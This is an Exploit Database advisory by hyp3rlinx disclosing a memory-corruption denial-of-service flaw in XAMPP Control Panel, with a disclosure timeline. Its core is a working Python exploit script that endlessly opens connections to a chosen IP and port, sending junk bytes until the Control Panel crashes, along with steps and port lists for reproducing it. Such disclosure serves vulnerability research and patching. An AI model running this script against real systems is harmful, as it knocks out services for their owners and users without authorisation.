XAMPP Control Panel – Denial Of Service

• Exploit Database
• 14 阅读

• 作者： hyp3rlinx
  日期： 2016-12-25
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40964/

• '''
  [+] Credits: John Page (hyp3rlinx)
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:
  http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt
  
  [+] ISR: ApparitionSec
  
  
  
  Vendor:
  =====================
  www.apachefriends.org
  
  
  
  
  Product:
  ===================
  XAMPP Control Panel
  
  
  XAMPP is a free and open source cross-platform web server solution stack
  package developed by Apache Friends,
  consisting mainly of the Apache HTTP Server, MariaDB database, and
  interpreters for scripts written in the PHP
  and Perl programming languages.
  
  
  
  Vulnerability Type:
  =====================
  Memory Corruption DOS
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  Vulnerability Details:
  =====================
  
  XAMPP Control Panel crashes with access violation when writing junk bytes
  into several different ports e.g.
  
  Tested following ports / versions:
  
  (MySQL) 3306 v3.2.2
  (Tomcat) 8080 (XAMPP v3.1.0)
  (FileZilla) 21
  (Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.
  
  It is not that XAMPP Control Panel is listening on some port, however
  memory corruption and Denial Of Service does
  occur when you constantly write junk into, for instance, the MySQL, Tomcat,
  FileZilla, Mercury Mail listening ports.
  
  
  1) Launch XAMPP control panel
  2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)
  with Apache running and or Tomcat
  
  Target different services and port combinations to reproduce.
  
  Important to note is that neither MySQL or Apache itself crash, it IS the
  XAMPP Control Panel that crashes with Access Violation.
  
  
  Tested Windows SP1
  
  
  POC Video:
  https://vimeo.com/196938261
  
  
  Exploit code(s):
  ===============
  '''
  
  import socket
  
  print "XAMPP Control Panel DOS"
  print "Discovery: John Page (hyp3rlinx)"
  print "ApparitionSec"
  print "hyp3rlinx.altervista.org\r\n"
  
  IP = raw_input("[IP]> ")
  PORT = raw_input("[PORT]> ")
  
  arr=[]
  c=0
  while 1:
  try:
  arr.append(socket.create_connection((IP,PORT)))
  arr[c].send("DOOM")
  print "Die!"
  c+=1
  except socket.error:
  print "[+] Done! "
  raw_input()
  break
  
  
  
  '''
  Disclosure Timeline:
  =======================================
  Vendor Notification: November 1, 2016
  Vendor acknowledgement: November 4, 2016
  Vendor released Fix : December 22, 2016
  (NO public mention as of the time of this writing)
  December 24, 2016: Public Disclosure
  
  
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  
  Severity Level:
  ================
  High
  
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the
  information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author
  prohibits any malicious use of security related information
  or exploits by the author or elsewhere.
  
  hyp3rlinx
  '''